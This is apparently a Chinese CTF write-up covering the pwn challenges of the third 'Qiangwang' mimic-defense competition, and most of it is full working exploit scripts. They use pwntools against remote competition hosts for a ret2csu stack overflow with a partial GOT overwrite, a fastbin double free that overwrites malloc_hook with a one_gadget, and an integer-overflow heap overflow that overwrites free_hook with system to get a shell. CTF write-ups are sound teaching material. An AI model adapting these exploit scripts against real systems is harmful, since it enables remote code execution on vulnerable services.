0%

第三届“强网”拟态防御国际精英挑战赛wp(pwn部分)

强网拟态还是有点意思的,赛制也很有趣,做常规题上分然后拿分数换白盒挑战资格,像👴这种菜鸡又不会白盒,梭哈也梭哈不来,只能水几道pwn题混混日子的亚子。

easystack

签到题目,就直接格式化泄露canary和libc接栈溢出打onegadget,exp就不写了。

easystack-pro

之前主办方禁掉一堆格式化字符后每人出,就换了一道64位栈溢出,有read 有write,没有rdx所以要用ret2csu。但是由于拟态所以用write写的时候就输入三个同时运行的程序中,泄露出的地址不同,返回值不同就会退出。所以这里可以用64位的ret2dl,但是没搞出来,所以就部分写,改写write函数最后一位
为libc中的syscall的地址,打系统调用。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
# -*- coding: utf-8 -*-
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
#p = process("./easy-stack2")
p = remote('172.35.100.100', 10002)
elf = ELF("./easy-stack2")

offset = 0x80
write_got = elf.got['write']
read_got = elf.got['read']
main_addr = elf.symbols['main']
bss_base = elf.bss(0x100)
csu_front_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A
fakeebp = 'b' * 8


def call(r12, r15, r14, r13):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
rbx = 0
rbp = 1
# payload = 'a' * 0x80 + fakeebp
payload = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
# payload += p64(last)
return payload
# p.send(payload)
# sleep(1)

def super_call(r12, r15, r14, r13, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
rbx = 0
rbp = 1
# payload = 'a' * 0x80 + fakeebp
payload = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
payload += last
return payload
# p.send(payload)
# sleep(1)

p.recvuntil('Hello, World\n')
pay = offset * "A" + p64(0xdeadbeef)
pay += call(read_got, 0, bss_base, 16)
pay += p64(main_addr)
p.send(pay)
sleep(0.3)
p.send(p64(0xdeadbeef) + '/bin/sh\x00')
sleep(0.3)

p.recvuntil("Hello, World\n")
pay = offset * "A" + p64(0xdeadbeef)
pay += call(read_got, 0, write_got, 1)
pay += p64(main_addr)
p.send(pay)
sleep(0.3)
p.send('\xbe')
sleep(0.3)


p.recvuntil("Hello, World\n")
#raw_input("debug...")
pay = offset * "A" + p64(0xdeadbeef)
pay += call(read_got, 0, bss_base + 0x20, 59)
pay += call(write_got, bss_base+8, 0, 0)
pay += p64(main_addr)

p.sendline(pay)
sleep(0.3)
p.sendline('A' * 59)

p.interactive()

newpad

这题目和有一年的tinypad一样,稍微改了点东西加了个pie,也是off-by-null+uaf,改改之前的脚本就能打 链接:SECCON 2016 tinypad

emmmm

这题挺坑的,环境2.23,free功能只会free存储堆的结构体(每次申请前会malloc(0x10)来存储堆地址和size,也就是相当于只有0x21大小的堆能被我们使用),show的功能让你想办法猜随机数然后给你个scanf,正常思路肯定是这里输入大量内容触发一个malloc来用,但是它没有,这题目直到做出来后我都没发现这个show到底有啥用,实际上他把show的功能偷偷藏在了free里.
我的思路是这样的:首先有个UAF的洞,能控制和free的指针只有存储堆结构体的指针,写入的内容则是我们申请大小的堆里,所以先fastbin double free构造两个结构体指针一个在0x010在一个0x020构造一个错位,然后第一个改第二的size和存储的堆指针,伪造unsorted大小,使用free来泄露libc和heap基址,之后以同样方法伪造0x70的fastbin,打malloc_hook,注意realloc使用,需要注意的是free时候会检测结构体堆的fd指针是否是可访问的,所以就要泄露堆地址来伪造.
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
# -*- coding: utf-8 -*-
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
#p=process('./pwn')
p=remote('172.35.2.42',9999)
def add(size,payload):
p.recvuntil('Choice >>')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('Note:')
p.send(payload)

def free(idx):
p.recvuntil('Choice >>')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(idx))

def show(idx):
p.recvuntil('Choice >>')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(idx))
payload=p64(0x21)*3
add(0x18,payload)#0
add(0x18,payload)#1
add(0x18,payload)#2
add(0x18,p64(0xa1)+p64(0x21)+p64(0xb1))#3
add(0x18,payload)#4


free(1)
free(4)
add(0x18,p64(0)+p64(0x21)+p64(0))#5

free(2)
free(3)
free(2)
free(4)

add(0x18,'\x50')#6
add(0x18,'\x60')#7
add(0x18,'\x60')#8

free(1)
free(4)
p.recvuntil('You will free: ')
heap_addr=u64(p.recv(6).ljust(8,'\x00'))-0x60
print(hex(heap_addr))
add(0x18,p64(heap_addr+0x10)+p64(0xb1))#9

free(8)
free(2)

#add(0x18,p64(0)+p64())
p.recvuntil('You will free: ')
malloc_hook=u64(p.recv(6).ljust(8,'\x00'))-0x68
print(hex(malloc_hook))
add(0xa8,p64(0x21)*10)#10
add(0x18,payload)#11
free(4)
free(11)
free(4)
free(3)

add(0x18,'\x10')#12
add(0x18,p64(0)+p64(0x21))#13
add(0x21,'\x60')#14 use

free(4)
free(11)
add(0x18,p64(heap_addr+0x10)+p64(0x71))#15

free(14)
free(4)
free(1)

libc=malloc_hook-0x3c4b10
realloc=libc+0x846c0
one_gadget=libc+0xf1147
#0xf1147
#0xf02a4
#0x4526a
#0x45216
payload=p64(0)+p64(0x71)+p64(malloc_hook-0x23)
add(0x18,payload)#16
#2/4/6/8/b/c
payload='a'*(0x13-0x8)+p64(one_gadget)+p64(realloc+0x6)#xuyao realloc
#payload='a'*(0x13)+p64(one_gadget) #zhijie one gadget
add(0x68,payload)#17
add(0x68,payload)#18
#add(0x10,'a')
#Guess()
p.sendline('1')
p.interactive()
#free(11)
#free(14)

goodnote

这题找漏洞是个关键,这里还是aa师傅找到了溢出漏洞:输入0x10000000000000000/4,乘上4就溢出变成0了(这里属实没想到,这就是大佬么,aatql),然后堆溢出打就完事了,还是2.27的,剩下的就更简单了,注意一下这里的edit是用4字节的十进制数字写入即可.
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
p=process('./goodnote')
#p=remote('183.129.189.60',10024)
elf=ELF('./goodnote')
#addr=0x6020A0
def add(idx,size):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvuntil('Size: ')
p.sendline(str(size))

def edit(idx):
p.recvuntil('choice:')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(idx))

def show(idx):
p.recvuntil('choice:')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(idx))

def free(idx):
p.recvuntil('choice:')
p.sendline('4')
p.recvuntil('Index:')
p.sendline(str(idx))

add(0,0x110)#0
add(1,0x10)#0
free(0)
add(0,0x110)
show(0)
p.recvuntil('Content: ')
malloc_hook=u64(p.recv(6).ljust(8,'\x00'))-0x70
libc=malloc_hook-0x3ebc30
print(hex(libc))

add(3,0x10000000000000000/4)
add(4,0x20)
free(4)

edit(3)
for i in range(6):
p.sendline(str(0xffffffff))
p.sendline(str(0x91))
p.sendline(str(0x0))
free_hook=libc+0x3ed8e8
print(hex(free_hook))
p.sendline(str(free_hook&0xffffffff))
print(hex(free_hook>>32))
p.sendline(str(free_hook>>32))
p.sendline(str(0xDEADBEEF))

add(4,0x20)
add(5,0x20)
edit(5)
system=libc+0x4f440
p.sendline(str(system&0xffffffff))
p.sendline(str(system>>32))
p.sendline(str(0xDEADBEEF))
edit(1)
p.sendline(str(0x6e69622f))
p.sendline(str(0x68732f))
p.sendline(str(0xDEADBEEF))
free(1)
p.interactive()

rbsystem

没做出来,告辞,啥时候有空来复现

好饿啊,早知道不学安全了